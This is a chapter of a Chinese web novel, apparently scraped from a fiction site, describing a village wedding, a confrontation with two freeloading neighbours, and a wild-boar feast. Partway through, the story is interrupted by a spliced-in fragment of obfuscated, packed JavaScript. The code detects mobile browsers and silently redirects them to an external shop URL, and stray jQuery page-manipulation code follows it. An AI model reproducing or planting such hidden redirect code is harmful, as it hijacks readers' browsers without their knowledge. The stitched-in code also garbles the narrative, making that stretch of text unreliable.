文趣网 > 其他小说 > 我在岭南开荒致富 > 18. 婚礼
    三月十五,晨风微冷,日光东升,暖阳漫洒大地。

    咋一吹风觉得寒凉,但站在阳光下又渐生暖意。

    今天是个好日子。

    王春花带着数位婶婶,一同来到谢家,帮忙打点着成亲仪式所需要的东西。

    其实也没什么好准备的,一切从简,很快就把事情做好。

    谢鸣昭穿上红嫁衣端坐在床前,王春花取来唇脂,一点点涂抹在她的唇瓣之上。

    艳色落唇的一瞬,王春花骤然惊呼出声。

    “呀!只是抹了嘴唇,阿昭便这般好看!果真是天生丽质啊!”

    诸位婶婶听闻也纷纷挤进卧室,一眼就瞧见谢鸣昭的明媚艳丽。

    “哟呵,阿昭果然好模样!”

    “要我说,阿昭这模样就连宫里的娘娘都做得。”

    谢鸣昭举起铜镜,端摩自己的模样。

    自穿越以来,她还是头一次这般认真地端详自己的脸,这脸与原先的自己竟一个模样,可此时的情形,竟让她有种宛若在梦中的错觉。

    谢鸣泽和谢鸣月也换上新衣裳,围在谢鸣昭身旁,笑眯眯地望着她。

    家里人丁稀少,并无亲戚招待,俩个弟妹便闲得围在谢鸣昭身旁,看她梳妆。

    谢鸣昭装扮好后,就坐在屋子里等裴书尧上门接她。

    -

    裴书尧那边,村长带着一众人一早登门忙活,搭起灶台、收拾花车、张罗宴席各项事宜。

    孙屠夫更是按捺不住兴致,磨刀霍霍,当即动手处理野猪。

    其余的婶婶则帮忙洗菜、洗米煮饭,个个脸上漾着喜气,忙忙碌碌却格外和睦热闹,一派其乐融融的景象。

    裴家也无多少亲戚招待,自打裴父裴母身亡,裴书尧科举无望,裴家旁支亲戚便与他家断了亲,现下屋子里的都是村里的乡亲父老。

    陈富贵腰背挺直,时而使唤他人,时而自己亲自动手忙活,十足的大家长作派。

    裴书尧换上喜服,胸戴大红花,安静坐在一边,任由陈富贵在家中张罗。

    他是心有余而力不足啊。

    陈富贵看了下时辰,连忙催促裴书尧:“书尧,时辰到了,快去接新娘子!”

    说罢,便立即有几人拥簇进来,把裴书尧架起往外走。

    “走走走,去接新娘子了!”

    花车是用张猎户的驴车装扮的,车架上缠着红布,就连毛驴的脖子上都挂着一朵大红花,甚是喜庆。

    驴车吱呀吱呀转,很快就到了谢家门口。

    站在谢家门口的婶婶一见到花车来了,立马往屋里喊道:“新郎来接新娘子咯!”

    屋里瞬间忙活起来。

    驴车在门口停下,裴书尧下车被婶婶她们拉进屋里。

    裴书尧就跟个木偶一般,全程被婶婶们支配着,拥簇着走进谢鸣昭的卧室。

    只见谢鸣昭身着大红喜袍,端坐在床前,微微抬眸,眼波漾着浅浅柔光,唇间那抹艳红格外惹眼。裴书尧望着她,竟一时失了神。

    一旁的婶婶见着裴书尧看呆了,连忙提醒他:“书尧,傻站着干嘛,走上前啊。”

    裴书尧回过神来,双手无措地垂在身侧,僵硬挪着步伐,走到谢鸣昭跟前。

    他喉间发紧,伸出手来,轻声开口:“娘子,请随我回家。”

    谢鸣昭浅浅一笑,站起身来,将手搭进他的手掌之中。他虚虚牵着她的手,不曾紧贴,两人恪守分寸,并肩缓步向外走去。

    谢鸣昭前脚踏出门框,接着一道响亮的声音响起:“新娘子出门啦!”

    裴书尧扶着她坐上驴车,没有奏乐,只有每个人脸上的笑意,欢欢喜喜向裴家行去。

    新娘子进门,拜完天地高堂就进了洞房。

    两人并肩坐在床边,谢鸣昭抬眼打量房内的布置,床上的被子是新的,墙上贴着一个大大的喜字,布置虽简陋,但却打扫得极干净。

    原来裴书尧的房间竟然是这般光景。

    屋外欢声笑语,好不热闹。

    房内沉默不语,相对无言。

    大家已经开始忙活起宴席,片刻,饭菜香已飘入房中。

    早起两人都没吃什么东西,现下肚子已经饿了。

    谢鸣昭主动开口问裴书尧:“书尧哥,你饿吗?”

    裴书尧早已习惯饿肚子的感觉,前些日子谢鸣泽来给他送饭,倒让他撑得十分不适。

    “还行。”裴书尧语气平淡。

    “嗯。”

    再次无言。

    谢鸣昭突然站起身来,倒吓了裴书尧一跳。

    “我出去了。”

    “好的。”

    房内只剩下裴书尧一人。

    片刻后,裴书尧也起身走出房外。

    村里人干活利索,宴席已经准备大半,来吃席的人也继续来到裴家。

    三三两两,竟在裴家门口的空地上坐了十五席。

    看到新郎新娘子出来,个个走上前来,祝贺两位新人新欢快乐,同时送上自己的礼品。

    都是些常见之物,粮食青菜水瓢扁担甚至自己腌的酸菜,在物资匮乏的时代,能拿出这些东西,已然十分厚道体面。

    也有乡邻空着手来的,不过谢鸣昭和裴书尧两人并未放在心上。

    能搭把手的搭把手,其余的早早在饭桌前端坐好,就等开席。

    这些饭桌板凳都是村里人各自借来的,就连吃席的碗筷也是村里人凑的。

    黄荷花和王翠平两人悄摸来到裴家,隔着老远就能闻到飘来的香味。

    “肉,是肉的味道!”黄荷花咂巴一下嘴,仿佛肉就在她嘴边似的。

    王翠平接着说:“听说昨日谢大姑娘杀到一头野猪,说要拿到宴席上杀了让大家吃肉。”

    黄荷花一拍大腿,满脸懊悔:“嗐,你说我们跟着董大春闹什么?不然我们现在已经坐在那等着吃席了。”

    王翠平眼珠子一转,“那么多人,我们就混到最角落的位置,埋头吃饭,他俩也看不到我们。”

    黄荷花虽觉得这法子不太可行,但为了吃肉,只好这么做。

    俩人又悄摸坐在最边上的饭桌,刚坐下就被陈富贵逮了个正着。

    “哎,黄荷花王翠平,你俩还有脸来吃席!”

    俩人渐被戳穿,干脆赖上了。

    黄荷花:“人人都有份,为什么我们不能吃?”

    王翠平撇着嘴道:“就是,她谢大姑娘也太小气了,净做些挑拨离间的小动作,也太不利于村里团结了。”

    一旁的人听了,无语至极。

    “哎哟你们前日是这么逼谢大姑娘拿银子的,这么快就忘了?”

    “人要脸树要皮,我看你俩的脸皮比那城墙还厚。”

    “裴娘子,黄荷花和王翠平来闹事啦!”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815480|211041||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >此人这么一喊,俩人直发虚。

    谢鸣昭在院子里与人交谈,听到外面的人喊有人来闹事,她当即就迈步走了出去。

    一见到黄荷花和王翠平两人,那日她俩的嘴脸历历在目。

    “两位婶婶,我记得婚宴名册上并没有你们两家的名字。席间座次皆是提前定好登记在册,你们贸然落座,便占了他人的位置,所以,还请二位移步离开。”

    谢鸣昭随机摆出“请”的手势,黄荷花当即就跳了起来。

    “谢鸣昭,不就是吃你家一顿饭,至于撵人吗?”

    “当然。席面上的每一粒米都是我辛苦赚来的,你既然看不起我,那自然是没有再吃我家米的道理。今日我若睁一只眼闭一只眼随了你们去,那日后我家只会被别人欺负至死。”

    谢鸣昭态度十分强硬,没有半点退让的意思。

    黄荷花和王翠平当场臊得红了脸,一句话也说不出,只能灰头土脸、满心不自在地转身走了。

    那日来闹事的人,除了黄荷花和王翠平两人露了面,其余人都不敢靠近半分,看来他们也知自己行为不当,没有脸面来。

    碍眼的人撵走了,谢鸣昭脸上立即露出明媚的笑容。

    这时,饭菜已全部做好,众人着手开始上菜。

    谢鸣昭这才看清,村长把那头野猪做了哪些菜。

    黄豆焖猪腿,清蒸排骨,红烧肉,卤猪头猪下水,糖醋里脊,扣肉。

    最后两道菜是谢鸣昭教的,由村里厨艺较好的李满仓掌厨。

    剩下的猪骨也不浪费,挖来新鲜的五指毛桃一同入锅慢炖,熬出一锅清甜滋补的五指毛桃骨头汤。

    青菜则是地里新摘的大白菜和油麦菜,一道猪油爆炒油麦菜,一道上汤大白菜。

    整桌凑齐八菜一汤,原本朴素的席面也因为有了野猪肉,档次瞬间拔高了不少。

    谢鸣泽和谢鸣月两人坐在席间,望着一道又一道的肉,眼睛都看直了。

    他们哪里能一次吃上这么多的头,包括村里其余人。

    陈富贵站在上位,喜笑颜开,声音洪亮有力:“各位,今日是裴书尧与谢鸣昭成婚大喜之日,咱们一同恭祝二人琴瑟和鸣、白头偕老!”

    话音刚落,众人纷纷应声道贺,祝福声此起彼伏。

    谢鸣昭和裴书尧并身而立,双双躬身,向各位宾客郑重还礼。

    随后,陈富贵一声令下:“开席!”

    众人纷纷动筷,率先伸向荤菜。

    一口肉吃进嘴里,个个赞不绝口。

    尤其是糖醋里脊,酸甜可口,颇受小孩喜欢。

    大人则更喜欢红烧肉、黄豆焖猪腿、扣肉这种硬菜。

    谢鸣昭和裴书尧两人也落座吃饭。

    一时间,众人都在认真的吃饭,只剩碗筷轻撞的脆响。

    -

    一直到傍晚,村民们陆续离开裴家。

    许是他们许久未曾吃肉,那一头足足三百来斤的野猪,竟被他们吃得干干净净,半点肉渣都不剩。

    王春花安排人把借来的东西一一归还后,与谢鸣昭算清这场婚事的花费,便回去了。

    喧闹的院子一下子冷静了下来。

    两个弟妹坐在客厅有些犯困,谢鸣昭赶紧让谢鸣泽带谢鸣月回家,顺便叮嘱两人要洗漱了关好门窗才上床睡觉。

    现下,只剩谢鸣昭和裴书尧两人共处一室。